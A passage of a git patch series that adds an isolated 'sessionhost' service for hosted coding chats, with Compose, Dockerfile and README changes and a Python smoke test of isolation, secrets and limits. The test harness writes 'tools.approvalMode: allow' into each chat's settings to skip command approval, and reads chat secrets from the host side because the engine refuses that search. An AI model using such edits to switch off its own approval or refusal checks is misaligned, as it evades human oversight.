+} + +// Everything else is left to the existing behaviour. +func TestScriptedBashLeavesOtherTurnsAlone(t *testing.T) { + for _, messages := range [][]message{ + nil, + {msg("user", "hello there")}, + {msg("user", "Required JSON Schema: {}"), msg("tool", "ok")}, + } { + if scriptedBash(httptest.NewRecorder(), messages, 1) { + t.Fatalf("answered %+v", messages) + } + } +} From a8424e7bb4b6db2649715fa5364ac22e8af7ed0d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 04:11:03 -0500 Subject: [PATCH 034/176] deploy/org: a sessionhost service for hosted chats, and a keyless smoke test that proves them A `hosted` Compose profile adds the sessionhost (five capabilities, a volume at /chats, a network shared only with the organization server, a healthcheck), the local-binary build argument for an image that has `codeaf sessionhost` before a release does, the shared secret in setup.sh, and README "Hosted chats". `SMOKE_HOSTED=1 ./smoke.sh` drives real `codeaf chat --org` clients against the scripted model stub and checks, by contract item: a chat runs on another machine in a folder of its own, other chats cannot read, write, list or signal it, no secret reaches a chat, a machine that cannot isolate refuses, a turn finishes after its client is killed, the host restarts without orphans or lost files, limits and cleanup, and that another person's chat cannot be told from one that never existed. The checks of what a chat's user can see are made as that user (the machine's root holds no right to look inside a chat), and what a chat's shell holds in its environment is read from the machine's side, because the engine rightly refuses a command that searches for secrets. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.env.example | 12 + deploy/org/.env.stub.hosted | 10 + deploy/org/.gitignore | 2 + deploy/org/README.md | 91 ++++++ deploy/org/codeaf.Dockerfile | 17 +- deploy/org/compose.yaml | 53 +++- deploy/org/scripts/entrypoint.sh | 11 +- deploy/org/scripts/sessionhost.sh | 11 + deploy/org/scripts/smoke.py | 481 +++++++++++++++++++++++++++++- deploy/org/setup.sh | 18 +- deploy/org/smoke.sh | 60 +++- 11 files changed, 749 insertions(+), 17 deletions(-) create mode 100644 deploy/org/.env.stub.hosted create mode 100644 deploy/org/.gitignore create mode 100755 deploy/org/scripts/sessionhost.sh diff --git a/deploy/org/.env.example b/deploy/org/.env.example index 0a0be37092..f704c6b74b 100644 --- a/deploy/org/.env.example +++ b/deploy/org/.env.example @@ -8,6 +8,18 @@ AGENTFIELD_API_KEY= # on first start and keeps it in its volume; set this only to know it ahead of time). CODEAF_FACTORY_TOKEN= +# --- Hosted chats (optional; read README.md "Hosted chats" first) --- +# The secret the organization server and the hosted-chats machine share. ./setup.sh generates it. +CODEAF_HOSTED_SECRET= +# To turn hosted chats on: set COMPOSE_PROFILES=hosted (this starts the sessionhost service) and +# CODEAF_HOSTED_URL=http://sessionhost:8790, then give the chats a model door: the organization's model +# endpoint in CODEAF_HOSTED_MODEL_UPSTREAM (for OpenRouter: https://openrouter.ai/api/v1) and its key in +# CODEAF_HOSTED_MODEL_KEY. Left empty, the organization server behaves exactly as it always did. +COMPOSE_PROFILES= +CODEAF_HOSTED_URL= +CODEAF_HOSTED_MODEL_UPSTREAM= +CODEAF_HOSTED_MODEL_KEY= + # --- Model keys: yours. Leave empty for the keyless smoke test. --- OPENROUTER_API_KEY= # A GitHub token the nodes use to clone, push and open pull requests (optional). diff --git a/deploy/org/.env.stub.hosted b/deploy/org/.env.stub.hosted new file mode 100644 index 0000000000..1fcb1aecaf --- /dev/null +++ b/deploy/org/.env.stub.hosted @@ -0,0 +1,10 @@ +# Layered over .env and .env.stub by `SMOKE_HOSTED=1 ./smoke.sh`: it turns on hosted chats against the +# scripted stub, so every chat's model call is answered by the stub and spends nothing. +# It needs an image whose codeaf has `codeaf sessionhost` in it: see "Hosted chats" in README.md. +CODEAF_HOSTED_URL=http://sessionhost:8790 +CODEAF_HOSTED_MODEL_UPSTREAM=http://modelstub:8890/api/v1 +CODEAF_SESSIONHOST_MODEL=stub/scripted +# A short idle window and small limits so the smoke test can watch them work. +CODEAF_SESSIONHOST_IDLE=20s +CODEAF_SESSIONHOST_MAX_RUNNING=4 +CODEAF_SESSIONHOST_MAX_PER_PERSON=2 diff --git a/deploy/org/.gitignore b/deploy/org/.gitignore new file mode 100644 index 0000000000..b3aee5f1e0 --- /dev/null +++ b/deploy/org/.gitignore @@ -0,0 +1,2 @@ +# A codeaf built on this machine and copied here for `CODEAF_BINARY_FROM=local` image builds (codeaf.Dockerfile). +codeaf-local diff --git a/deploy/org/README.md b/deploy/org/README.md index c67cb17208..072331e41f 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -102,6 +102,97 @@ printing `PASS` or `FAIL` for each: The stub's answers are minimal schema-valid text, so the "work" is not real. `docker compose up -d` afterwards puts your own keys back. +## Hosted chats (optional) + +By default a person's chat runs on their own computer. With hosted chats on, a person can instead run a +chat on a machine of the organization's: `codeaf chat --org https://your-organization` opens it from their +terminal, the work goes on there, and it is still there when they close the terminal and come back. Nothing +here changes while it is off: with `CODEAF_HOSTED_URL` empty the organization server answers exactly as it did. + +``` +person's terminal --wss--> organization server --(shared secret)--> sessionhost --> one chat + codeaf chat --org signs the person in, one Linux user, + names them to the sessionhost one folder, fenced commands + mints the chat's model access +``` + +The **sessionhost** (`sessionhost` in `compose.yaml`) is the one container that starts as root and stays root, +because it has to become a different Linux user for every chat. It is built from the same image as the others +(`CODEAF_ROLE=sessionhost` on a platform that cannot pass arguments). What it does for each chat: + +- **A user and a folder of its own.** The chat runs as its own Linux user (numbers from 200000 up) in + `/chats/people///`, mode 0700, with `home`, `work` and `tmp` inside. Another chat's user + cannot read, write, list or signal it, and the organization server's own data is not on this machine's disk. +- **A fence on every command**, switched on and not removable from inside the chat. If this machine cannot + apply one, the chat's commands are refused, never run open; if it cannot switch users it starts no chats + and says so (`codeaf sessionhost probe` prints what it measured; `ok: false` is a refusal). + `CODEAF_SESSIONHOST_REQUIRE=uid` (default `uid+fence`) lets an operator whose kernel has no fence run on the + user switch alone; it says so once at start and in every chat's `warning`, and it is not a default. +- **No keys.** The sessionhost holds no organization secret except the one it shares with the organization + server, no AgentField key, no GitHub token and no model key. A chat reaches a model only through the + organization server's `/v1/model/` door with a bearer the server minted for that chat (twelve hours, ended on + stop or delete, held in the server's memory), and that door adds the organization's real key itself. +- **Limits.** `CODEAF_SESSIONHOST_MAX_RUNNING` chats at once (default 20) and `CODEAF_SESSIONHOST_MAX_PER_PERSON` + per person (default 3). A chat counts while it has a process; a person over their limit can still make a + chat but cannot start a third and reads "You already have N chats running; stop one first." + A chat that is stopped or deleted leaves no process behind, including ones that detached themselves. +- **A turn goes on without the client.** The chat's engine keeps its conversation behind a socket in the chat's + own home, so closing the client in the middle of a turn loses nothing and the next attach shows the result. A + socket path has a hard length ceiling, so `CODEAF_SESSIONHOST_DATA` (default `/chats`) must be short: the + sessionhost refuses to start with a folder that leaves no room, and says how many characters it may have. +- **Only the owner can attach.** The organization server names the signed-in person to the sessionhost; + another person's chat answers "There is no such chat.", word for word as an unknown one does. + +The five capabilities the container is given (`cap_drop: [ALL]`, then `cap_add`), and why: + +| Capability | Why the sessionhost needs it | +| --- | --- | +| `SETUID`, `SETGID` | become the chat's user and group | +| `CHOWN` | hand over one freshly made, empty folder to that user (never an existing one) | +| `KILL` | end every process of a stopped chat's user | +| `SETPCAP` | empty the chat's capability set before it starts (it cannot be done without this one) | + +The supervisor narrows itself to these five when it starts, whatever the platform gave root. + +What this does NOT do, plainly: whoever is root on the machine (the operator, or the platform) can read every +chat, and the volume is not encrypted by this stack; a chat can reach the internet and, on a platform whose +private network is open (Railway's), the other services' private addresses, so the secrets that matter there +are the authentication of each service, not the network; the model access a chat holds is its own scoped +bearer, and the chat's own shell can read the bearer of the chat's engine process; and a restart of the +organization server (which holds the bearers in memory) ends model access until the chat's next attach. Each of +those is a next step, not a hidden property. + +### Turning it on + +1. `./setup.sh` writes `CODEAF_HOSTED_SECRET` (64 hex characters, never printed) into `.env`; an `.env` from + before this feature gets one appended, once. +2. In `.env`: `COMPOSE_PROFILES=hosted`, `CODEAF_HOSTED_URL=http://sessionhost:8790`, the organization's model + endpoint in `CODEAF_HOSTED_MODEL_UPSTREAM` (for OpenRouter `https://openrouter.ai/api/v1`) and its key in + `CODEAF_HOSTED_MODEL_KEY`, and the model chats use in `CODEAF_SESSIONHOST_MODEL`. + `CODEAF_HOSTED_MODEL_URL` is the address chats use to reach the organization server's model door + (`http://codeaf:8787/v1/model` by default). +3. `docker compose up -d`. The image must hold a codeaf that has `codeaf sessionhost`; until a release does, build + from a local binary: `cp ../../bin/codeaf codeaf-local` then `CODEAF_BINARY_FROM=local docker compose build codeaf sessionhost`. + (`codeaf-local` is ignored by git; `CODEAF_BINARY_FROM` defaults to `fetch`, the pinned release.) + +The sessionhost sits on a network of its own, shared only with `codeaf`, so a chat's commands cannot reach +AgentField, the nodes, the runner or the model stub. Its API (`/v1/sessions` ...) wants the shared secret and a +person's name from the organization server, and answers anything else with an empty `401`. + +`SMOKE_HOSTED=1 ./smoke.sh` runs everything above against the scripted stub (so it spends nothing): two people +run chats; the test checks that they cannot see each other's files, processes or environment, that no secret +is in a chat's shell, folder or process list, that a chat cannot reach the other services, that only the owner +can attach, that closing the client mid-turn loses nothing, that a stopped chat leaves no process, and that a +restart of the sessionhost leaves the files in place. It prints PASS or FAIL per check. + +On Railway the sessionhost is a sixth service from the same image: `CODEAF_ROLE=sessionhost`, a volume at +`/chats`, no public domain, `CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}`, and on `codeaf` +`CODEAF_HOSTED_URL=http://${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790` and +`CODEAF_HOSTED_MODEL_URL=http://${{codeaf.RAILWAY_PRIVATE_DOMAIN}}:8787/v1/model`. Railway runs services as root with +a fixed capability set; the sessionhost takes five from it, and `codeaf sessionhost probe` run in that service +says whether the fence works there (it has Landlock but not the namespace fence, so the mode there is the +user switch plus Landlock). + ## State, backups and upgrades State lives in five named volumes (`docker volume ls`, prefix `codeaf-org_`); `docker compose down` keeps them, diff --git a/deploy/org/codeaf.Dockerfile b/deploy/org/codeaf.Dockerfile index 987ef0e7b5..9713784ed0 100644 --- a/deploy/org/codeaf.Dockerfile +++ b/deploy/org/codeaf.Dockerfile @@ -17,6 +17,12 @@ ARG CODEAF_RELEASE=dev-20261124-3791ee6467c7 ARG CODEAF_SHA256_AMD64=8ad946abcaadad4f753d2dd9095b08a099f97bfa9c09fb133857c36d31a32fe1 ARG CODEAF_SHA256_ARM64=f4e21cc0df14ac3ec3696331a6013020b4a322c5a295a66d101d60c986579c9a ARG RUNTIME_IMAGE=debian:bookworm-slim +# Where the binary comes from: `fetch` (the published, checksummed release above, the default) or +# `local`, a codeaf built on this machine and placed beside this file as `codeaf-local`. Only the +# second is for a build that needs a command no release has yet (the hosted-chats service, until a +# release carries it): +# docker build --build-arg CODEAF_BINARY_FROM=local -f codeaf.Dockerfile -t codeaf-org/codeaf:local . +ARG CODEAF_BINARY_FROM=fetch FROM ${RUNTIME_IMAGE} AS fetch ARG CODEAF_RELEASE @@ -34,6 +40,15 @@ RUN set -eu; \ chmod 0755 codeaf; \ ./codeaf version +# A locally built binary, when asked for (see CODEAF_BINARY_FROM above). Nothing is read from +# codeaf-local unless that stage is the one chosen. +FROM scratch AS local +COPY codeaf-local /out/codeaf + +# The stage whose /out/codeaf the runtime image takes. `COPY --from` does not expand a build argument, +# but `FROM` does, so the chosen stage is given one fixed name here. +FROM ${CODEAF_BINARY_FROM} AS binary + FROM ${RUNTIME_IMAGE} AS runtime # git: every checkout and branch the runner makes. python3: the runner's driver. # openssh-client: git over ssh. tini: reaps the processes a harness leaves behind. @@ -43,7 +58,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ && groupadd --gid 10001 codeaf \ && useradd --uid 10001 --gid 10001 --create-home --home-dir /home/codeaf --shell /bin/bash codeaf \ && mkdir -p /data && chown codeaf:codeaf /data -COPY --from=fetch /out/codeaf /usr/local/bin/codeaf +COPY --from=binary /out/codeaf /usr/local/bin/codeaf COPY scripts/ /opt/org/ RUN chmod 0755 /opt/org/*.sh /opt/org/*.py ENV HOME=/home/codeaf CODEAF_HOME=/data/codeaf \ diff --git a/deploy/org/compose.yaml b/deploy/org/compose.yaml index d0e27feb23..4eb5074ed4 100644 --- a/deploy/org/compose.yaml +++ b/deploy/org/compose.yaml @@ -42,7 +42,7 @@ services: codeaf: <<: *defaults image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} - build: { context: ., dockerfile: codeaf.Dockerfile } + build: { context: ., dockerfile: codeaf.Dockerfile, args: { CODEAF_BINARY_FROM: "${CODEAF_BINARY_FROM:-fetch}" } } command: ["server"] environment: CODEAF_ORG_NAME: ${CODEAF_ORG_NAME:-codeaf organization} @@ -56,7 +56,16 @@ services: CODEAF_SMTP_FROM: ${CODEAF_SMTP_FROM:-} OPENROUTER_API_KEY: ${OPENROUTER_API_KEY:-} CODEAF_BASE_URL: ${CODEAF_BASE_URL:-} + # Hosted chats (opt-in: all empty means the server is exactly what it was). See the sessionhost + # service below and README.md "Hosted chats". The secret is shared with the sessionhost and with nobody else. + CODEAF_HOSTED_URL: ${CODEAF_HOSTED_URL:-} + CODEAF_HOSTED_SECRET: ${CODEAF_HOSTED_SECRET:-} + CODEAF_HOSTED_MODEL_URL: ${CODEAF_HOSTED_MODEL_URL:-http://codeaf:8787/v1/model} + CODEAF_HOSTED_MODEL_UPSTREAM: ${CODEAF_HOSTED_MODEL_UPSTREAM:-} + CODEAF_HOSTED_MODEL_KEY: ${CODEAF_HOSTED_MODEL_KEY:-} volumes: [codeaf-data:/data] + # The default network reaches every service; `hosted` is the one the hosted chats' machine is on. + networks: [default, hosted] ports: ["${CODEAF_BIND:-127.0.0.1}:${CODEAF_PORT:-8787}:8787"] healthcheck: # Any HTTP answer means it is up (curl exits 0 on a 401 too); a refused connection is exit 7. @@ -70,7 +79,7 @@ services: runner: <<: *defaults image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} - build: { context: ., dockerfile: codeaf.Dockerfile } + build: { context: ., dockerfile: codeaf.Dockerfile, args: { CODEAF_BINARY_FROM: "${CODEAF_BINARY_FROM:-fetch}" } } command: ["runner"] depends_on: agentfield: { condition: service_healthy } @@ -148,6 +157,39 @@ services: start_period: 30s retries: 5 + # --- Hosted chats: the machine people's chats run on (opt-in: `--profile hosted`) ------------- + # One chat = one Linux user of its own, in its own folder, with its commands fenced. This is the + # ONLY container that starts as root and stays root: it has to switch to each chat's user. It + # holds five capabilities and nothing else (setuid/setgid to become that user, chown for the one + # fresh folder it hands over, kill to end a chat, setpcap to empty a chat's capability set), no + # org secret, no GH_TOKEN, no model key, a volume of its own, and a network that reaches only + # the organization server. README.md "Hosted chats" says why and what Railway needs. + sessionhost: + <<: *defaults + profiles: ["hosted"] + image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} + build: { context: ., dockerfile: codeaf.Dockerfile, args: { CODEAF_BINARY_FROM: "${CODEAF_BINARY_FROM:-fetch}" } } + command: ["sessionhost"] + cap_drop: [ALL] + cap_add: [SETUID, SETGID, CHOWN, KILL, SETPCAP] + environment: + CODEAF_SESSIONHOST_SECRET: ${CODEAF_HOSTED_SECRET:-} + CODEAF_SESSIONHOST_DATA: /chats + CODEAF_SESSIONHOST_LISTEN: 0.0.0.0:8790 + CODEAF_SESSIONHOST_MAX_RUNNING: ${CODEAF_SESSIONHOST_MAX_RUNNING:-20} + CODEAF_SESSIONHOST_MAX_PER_PERSON: ${CODEAF_SESSIONHOST_MAX_PER_PERSON:-3} + CODEAF_SESSIONHOST_IDLE: ${CODEAF_SESSIONHOST_IDLE:-30m} + CODEAF_SESSIONHOST_REQUIRE: ${CODEAF_SESSIONHOST_REQUIRE:-uid+fence} + CODEAF_SESSIONHOST_MODEL: ${CODEAF_SESSIONHOST_MODEL:-} + volumes: [sessions-data:/chats] + networks: [hosted] + healthcheck: + test: ["CMD-SHELL", "codeaf sessionhost health"] + interval: 15s + timeout: 5s + start_period: 10s + retries: 5 + # --- Keyless smoke test only: `docker compose --profile stub up` -------------------------------- modelstub: <<: *defaults @@ -163,3 +205,10 @@ volumes: runner-data: swe-af-workspaces: pr-af-workspaces: + sessions-data: + +networks: + # The organization server and the hosted chats' machine, and nobody else: a chat's commands can + # reach the organization server's model door (which wants a bearer) and the internet, not + # AgentField, the nodes, the runner or the model stub. + hosted: diff --git a/deploy/org/scripts/entrypoint.sh b/deploy/org/scripts/entrypoint.sh index e1320526dc..d0a7774af3 100755 --- a/deploy/org/scripts/entrypoint.sh +++ b/deploy/org/scripts/entrypoint.sh @@ -2,11 +2,20 @@ # The codeaf image's entrypoint. The first argument picks the role: # server the organization server, `codeaf factory serve`, in team mode # runner the factory runner that connects the organization's work to AgentField +# sessionhost the machine hosted chats run on (stays root: see below) # run that command as given (a shell, `codeaf --help`) set -eu -ORG_UID=10001 ORG_HOME=/home/codeaf ORG_DIRS="/data" . /opt/org/drop-root.sh # CODEAF_ROLE picks the role where a platform cannot pass arguments (Railway sets it as a variable). role="${CODEAF_ROLE:-${1:-server}}" +# THE SESSIONHOST IS THE ONE ROLE THAT DOES NOT DROP ROOT: it exists to switch to a user of its own +# for every hosted chat, which only root can do. It is chosen BEFORE the hand-off below; it holds +# five capabilities and no organization secret (compose.yaml says which and why), and it narrows +# itself again at start (`codeaf sessionhost serve`). +if [ "$role" = "sessionhost" ]; then + [ "$#" -gt 0 ] && shift + exec /opt/org/sessionhost.sh "$@" +fi +ORG_UID=10001 ORG_HOME=/home/codeaf ORG_DIRS="/data" . /opt/org/drop-root.sh [ "$#" -gt 0 ] && shift case "$role" in server) exec /opt/org/serve.sh "$@" ;; diff --git a/deploy/org/scripts/sessionhost.sh b/deploy/org/scripts/sessionhost.sh new file mode 100755 index 0000000000..46415c6586 --- /dev/null +++ b/deploy/org/scripts/sessionhost.sh @@ -0,0 +1,11 @@ +#!/bin/sh +# The hosted-chats machine's entrypoint (role `sessionhost`). It runs as root on purpose and holds only +# the five capabilities compose.yaml grants it; `codeaf sessionhost serve` narrows itself further at +# start and refuses to start chats unless it can keep them apart (it says so in its first log line). +# Nothing secret is baked into the image: the shared secret arrives as CODEAF_SESSIONHOST_SECRET. +set -eu +data="${CODEAF_SESSIONHOST_DATA:-/chats}" +mkdir -p "$data" +chmod 0711 "$data" +echo "sessionhost: serving hosted chats from $data as uid $(id -u)" >&2 +exec codeaf sessionhost serve "$@" diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index b1f6dd48d2..4d819e4e3b 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -12,6 +12,16 @@ its link, invites a second person, who joins; roles are enforced after (after `docker compose restart`) every node is registered again, AgentField still holds the runs after-org (in the codeaf container) the organization still knows the operator + hosted-prepare (in the codeaf container, after `org`) makes the chats the hosted section uses + hosted-seed (in the sessionhost container, ids piped in from `hosted-prepare`) lets those chats run commands + without a person at a keyboard: see the section's comment + hosted (in the codeaf container, after `org` and the two above; needs the `hosted` profile and a codeaf with the + chats' machine in it) two people each run chats on the chats' machine through + `codeaf chat --org`: isolation, secrets, the network, who may attach, leaving and coming back + hosted-host (in the sessionhost container, state piped in from `hosted`) what only the machine itself can + show: no process of a stopped chat is left, no org secret is anywhere on its volume + hosted-after (in the codeaf container, after the chats' machine restarted) the chats are still there, + their files are intact and a person gets back into one An organization server takes a password only over https or from its own machine, so `org` and `after-org` run inside the codeaf container with ORG_URL=http://127.0.0.1:8787 (smoke.sh does). @@ -21,6 +31,8 @@ are minimal and the "work" is not real. """ import argparse +import base64 +import glob import json import os import re @@ -32,6 +44,7 @@ import urllib.error import urllib.request from pathlib import Path +from urllib.parse import urlparse AGENTFIELD = os.environ.get('AGENTFIELD_URL', 'http://agentfield:8080').rstrip('/') KEY = os.environ.get('AGENTFIELD_API_KEY', '') @@ -310,12 +323,476 @@ def after_org(): check('and still knows the second person', handles == ['owner', 'priya'], handles) +# --------------------------------------------------------------------------------------------- +# Hosted chats. Every check here goes through the real client door (`codeaf chat --org --once`) or +# the organization server's own HTTP address, as a person would; what only the machine itself can show +# is checked by `hosted-host`, run inside the sessionhost container by smoke.sh. +HOSTED_STATE = Path(os.environ.get('SMOKE_HOSTED_STATE', '/data/smoke-hosted.json')) +HOSTED_IDS = Path(os.environ.get('SMOKE_HOSTED_IDS', '/data/smoke-hosted-ids.json')) +CLIENT_HOME = Path(os.environ.get('SMOKE_CLIENT_HOME', '/tmp/smoke-client')) +CLIENT_CWD = CLIENT_HOME / 'cwd' +NO_SUCH_CHAT = 'There is no such chat.' +UNKNOWN_CHAT = 'hs_' + '0' * 24 +BANNED_WORDS = ('uid', 'sandbox', 'sessionhost', 'fence', 'landlock', 'daemon') + + +def sign_in(username): + code, signed = http('POST', ORG + '/v1/auth/password', None, {'username': username, 'password': password()}) + return (signed or {}).get('access_token') if code == 200 and isinstance(signed, dict) else None + + +def client_env(token): + env = {k: v for k, v in os.environ.items() if not k.startswith(('CODEAF_', 'AGENTFIELD_', 'OPENROUTER_', 'OPENAI_'))} + env.update(CODEAF_ORG_TOKEN=token, HOME=str(CLIENT_HOME), CODEAF_HOME=str(CLIENT_HOME / 'codeaf'), + CODEAF_TELEMETRY='off', DO_NOT_TRACK='1', CODEAF_NO_UPDATE_CHECK='1') + return env + + +def client_argv(text, session=None): + argv = ['codeaf', 'chat', '--org', ORG, '--once', text] + return argv + (['--session', session] if session else []) + + +def chat(token, text, session=None, timeout=150): + """One message to a hosted chat through the client door. Returns (exit status, stdout, stderr).""" + CLIENT_CWD.mkdir(parents=True, exist_ok=True) + done = subprocess.run(client_argv(text, session), cwd=CLIENT_CWD, env=client_env(token), stdin=subprocess.DEVNULL, + capture_output=True, text=True, timeout=timeout) + return done.returncode, done.stdout, done.stderr + + +def field(out, name): + """The value of a `NAME value` item a scripted command printed. The first one follows the stub's own "STUB ran: ".""" + match = re.search(r'(?:^|[\s:])' + re.escape(name) + r' ([^\n]*)', out) + return match.group(1).strip() if match else None + + +def trace(label, marker, status, out, err): + """Say what a scripted command really answered when the item the next checks read is missing from it.""" + if marker not in out: + print(' trace %s: exit %s, out %r, err %r' % (label, status, short(out, 300), short(err, 300))) + + +def hosted_sessions(token, headers=None): + code, body = http('GET', ORG + '/v1/hosted/sessions', token, headers=headers) + rows = body.get('sessions') if isinstance(body, dict) else None + return code, rows if isinstance(rows, list) else [] + + +def wire_answer(token, session): + """What the organization server says to a WebSocket upgrade on a chat's wire, by hand: (status, body).""" + url = urlparse(ORG) + port = url.port or (443 if url.scheme == 'https' else 80) + with socket.create_connection((url.hostname, port), 15) as conn: + conn.settimeout(15) + key = base64.b64encode(os.urandom(16)).decode() + conn.sendall(('GET /v1/hosted/sessions/%s/wire HTTP/1.1\r\nHost: %s:%d\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n' + 'Sec-WebSocket-Key: %s\r\nSec-WebSocket-Version: 13\r\nAuthorization: Bearer %s\r\n\r\n' + % (session, url.hostname, port, key, token)).encode()) + raw = b'' + while True: + try: + piece = conn.recv(65536) + except socket.timeout: + break + if not piece: + break + raw += piece + head, _, body = raw.partition(b'\r\n\r\n') + status = int(head.split(b' ', 2)[1]) if head.startswith(b'HTTP/') else 0 + return status, body.decode(errors='replace').strip() + + +def hosted_prepare(): + """Makes the three chats the test uses (two for the owner, one for the member) and writes their names to + HOSTED_IDS, which smoke.sh pipes to `hosted-seed` on the chats' machine before anyone types.""" + print('--- hosted chats: making the chats') + ids = {} + for who, name in (('owner', 'owner_first'), ('owner', 'owner_second'), ('priya', 'member')): + token = sign_in(who) + code, made = http('POST', ORG + '/v1/hosted/sessions', token, {}) if token else (0, None) + ids[name] = (made or {}).get('id', '') if isinstance(made, dict) else '' + check(f'{who} is given a chat ({name})', code in (200, 201) and ids[name].startswith('hs_'), f'{code} {short(made, 120)}') + HOSTED_IDS.write_text(json.dumps(ids)) + HOSTED_IDS.chmod(0o600) + + +def as_user(uid, gid, work): + """The JSON-able result of `work()` run AS a chat's own user, or None when it failed there. + + The chats' machine has no right to read a chat's closed folder or to look inside its processes, root included, so + a check made from the machine's side would find nothing and pass for the wrong reason. A short-lived child takes + the chat's identity (the machine keeps two capabilities for exactly that) and looks, and says only what it found.""" + reader, writer = os.pipe() + child = os.fork() + if child == 0: + code = 1 + try: + os.close(reader) + os.setgroups([]) + os.setresgid(gid, gid, gid) + os.setresuid(uid, uid, uid) + os.write(writer, json.dumps(work()).encode()) + code = 0 + except Exception: + pass + finally: + os._exit(code) + os.close(writer) + data = b'' + while True: + part = os.read(reader, 65536) + if not part: + break + data += part + os.close(reader) + _, status = os.waitpid(child, 0) + return json.loads(data.decode()) if status == 0 and data else None + + +def read_as_chat_user(chat_dir, path): + """The text of `path` read as the chat's own user, or None when it is missing or unreadable even to that user.""" + info = os.stat(chat_dir) + + def read(): + with open(path) as handle: + return handle.read() + return as_user(info.st_uid, info.st_gid, read) + + +def hosted_seed(): + """Run inside the sessionhost container as root, with HOSTED_IDS on stdin. + + A `--once` message has nobody at a keyboard to answer a command's approval card, so under the ordinary rules the + chat's first command is refused ("needs approval but no resolver is attached"), exactly as it is for a local + `codeaf chat --once`. The test is about where commands run and what they can reach, not about approval, so each + chat's own settings file is given the one row that lets its commands run: `tools.approvalMode: allow`. It is + written as the chat's own user, the way the chat's own settings are, and nothing else is set.""" + print('--- hosted chats: letting the test chats run commands') + ids = json.load(sys.stdin) + for name, session in ids.items(): + folders = [p for p in __import__('glob').glob('/chats/people/*/' + session) if os.path.isdir(p)] + check(f'the {name} chat has a folder on the chats\' machine', len(folders) == 1, folders) + if len(folders) != 1: + continue + info = os.stat(folders[0]) + path = os.path.join(folders[0], 'home', 'config.json') + # The folder is the chat's own user's and closed to everyone else, root included (the machine's root holds + # no right to read it), so the file is written AS that user: a short-lived child takes the chat's identity + # with the two capabilities the machine has for exactly that, and writes. + child = os.fork() + if child == 0: + code = 1 + try: + os.setgroups([]) + os.setresgid(info.st_gid, info.st_gid, info.st_gid) + os.setresuid(info.st_uid, info.st_uid, info.st_uid) + with open(path, 'w') as handle: + json.dump({'tools.approvalMode': 'allow'}, handle) + os.chmod(path, 0o600) + code = 0 + finally: + os._exit(code) + _, status = os.waitpid(child, 0) + check(f'the {name} chat\'s commands may run', status == 0, f'exit status {status}') + + +def hosted(): + print('--- hosted chats') + owner, member = sign_in('owner'), sign_in('priya') + check('both people sign in to the organization', bool(owner and member)) + if not (owner and member): + return + shared = {} + CLIENT_CWD.mkdir(parents=True, exist_ok=True) + cwd_before = sorted(os.listdir(CLIENT_CWD)) + + ids = json.loads(HOSTED_IDS.read_text()) + first_id, second_id, member_id = ids['owner_first'], ids['owner_second'], ids['member'] + + # C1: a whole coding session (shell, git, a worktree) runs on the chats' machine, not here. + first = ('bash: git init -q -b main . && git -c user.name=smoke -c user.email=smoke@example.invalid commit -q --allow-empty -m init ' + '&& git worktree add -q wt && echo A-ONLY > secretA && echo hi > wt/f ' + '&& echo "STATUS $(git -C wt status --short)" && echo "HOST $(hostname)" && echo "PWD $(pwd)" && echo "UID $(id -u)"') + status, out, err = chat(owner, first, session=first_id) + check('C1 a chat opens through `codeaf chat --org` and runs a shell, git and a worktree', status == 0 and 'STUB ran' in out and field(out, 'STATUS') == '?? f', + short(out + err, 300)) + host = field(out, 'HOST') + check('C1 the commands ran on another machine than the organization server', bool(host) and host != socket.gethostname(), f'{host} vs {socket.gethostname()}') + work = field(out, 'PWD') or '' + check('C1 the chat works in a folder of its own on that machine', work.startswith('/chats/') and work.endswith('/work'), work) + uid = field(out, 'UID') or '' + check('C1 the chat runs as a user of its own, not root and not the server\'s', uid.isdigit() and int(uid) >= 200000, uid) + check('C1 nothing was written in the folder the client ran from', sorted(os.listdir(CLIENT_CWD)) == cwd_before, os.listdir(CLIENT_CWD)) + code, rows = hosted_sessions(owner) + check('C1 the owner sees their own two chats and not the other person\'s', code == 200 and sorted(r['id'] for r in rows) == sorted([first_id, second_id]), + f'{code} {len(rows)}') + shared['owner_first'] = {'id': first_id, 'work': work} + status, again, _ = chat(owner, 'bash: cat wt/f; cat secretA', session=first_id) + check('C1 a later message reaches the same chat and its files', status == 0 and 'hi' in again and 'A-ONLY' in again, short(again, 200)) + + # The owner's second chat and the member's chat each leave a process of their own running. + status, out2, _ = chat(owner, 'bash: pwd | sed "s/^/PWD /"; setsid sleep 600 /dev/null 2>&1 & echo PID $!', session=second_id) + second_work, second_pid = field(out2, 'PWD') or '', field(out2, 'PID') or '' + status, out1, _ = chat(owner, 'bash: setsid sleep 600 /dev/null 2>&1 & echo PID $!', session=first_id) + first_pid = field(out1, 'PID') or '' + check('C7 each of the owner\'s two chats left a process of its own running', first_pid.isdigit() and second_pid.isdigit(), f'{first_pid} {second_pid}') + shared['owner_first']['pid'] = first_pid + shared['owner_second'] = {'id': second_id, 'work': second_work, 'pid': second_pid} + + status, out, _ = chat(member, 'bash: pwd | sed "s/^/PWD /"; echo mine > secretB; echo "UID $(id -u)"; setsid sleep 600 /dev/null 2>&1 & echo PID $!', session=member_id) + member_work, member_pid = field(out, 'PWD') or '', field(out, 'PID') or '' + check('C1 a second person has a chat of their own, in a different folder', bool(member_work) and member_work != work, + f'{member_work}') + shared['member'] = {'id': member_id, 'work': member_work, 'pid': member_pid} + + # C7: a person's limit counts chats that are RUNNING, so a third chat can be made (it is only a folder and a + # name) but cannot be started while two run, and the refusal is a sentence, not a stack trace. + code, made = http('POST', ORG + '/v1/hosted/sessions', owner, {}) + third_id = (made or {}).get('id', '') if isinstance(made, dict) else '' + check('C7 a third chat can be made while two run (it is not started yet)', code == 201 and third_id.startswith('hs_'), f'{code} {short(made, 120)}') + status, out, err = chat(owner, 'hello', session=third_id) if third_id else (1, '', '') + refused = out + err + check('C7 starting a third running chat is refused in plain words', 